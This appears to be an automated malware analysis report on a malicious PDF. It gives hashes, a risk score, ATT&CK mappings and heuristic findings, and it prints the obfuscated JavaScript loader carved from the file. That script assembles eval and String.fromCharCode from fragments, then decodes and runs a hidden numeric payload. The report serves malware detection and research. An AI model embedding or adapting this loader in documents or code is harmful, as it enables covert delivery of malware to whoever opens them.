Malicious PDF — malware analysis report

Static analysis result for SHA-256 12f77d061f642350…

MALICIOUS

PDF

45.0 KB First seen: 2013-05-18
MD5: aba49050f6abff509a76d304378975f8 SHA-1: 5a74b7f142f1d9c0959d440e724e46600ab03ee0 SHA-256: 12f77d061f64235035031fe731693cd4b3a971653ad184fb394b815c3ab7e876
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script decodes and executes a second-stage payload, likely for downloading further malicious content. The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript points to a common delivery method for malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB19C 444 bytes
SHA-256: ba23b4bed0808e74cb2c1639b5853894ce93a47523b685d432704a4e8e4e5d7e
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
dbtg='';
dpy=('qwrwqr','tit');
e('grk=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
wiin=e('String.fr'+grk.substr(0,10));
plpam = e(grk.substr(10)['replace'](/u/g,','));
e('k=plpam.length');
for (i = 0; i < k; i+=2) {
	jvu = plpam[i+1] + ('erybjkerl',plpam[i]);
	dbtg += wiin(jvu);
}
e(dbtg);

Open this report in the interactive analyzer, or submit your own file for analysis.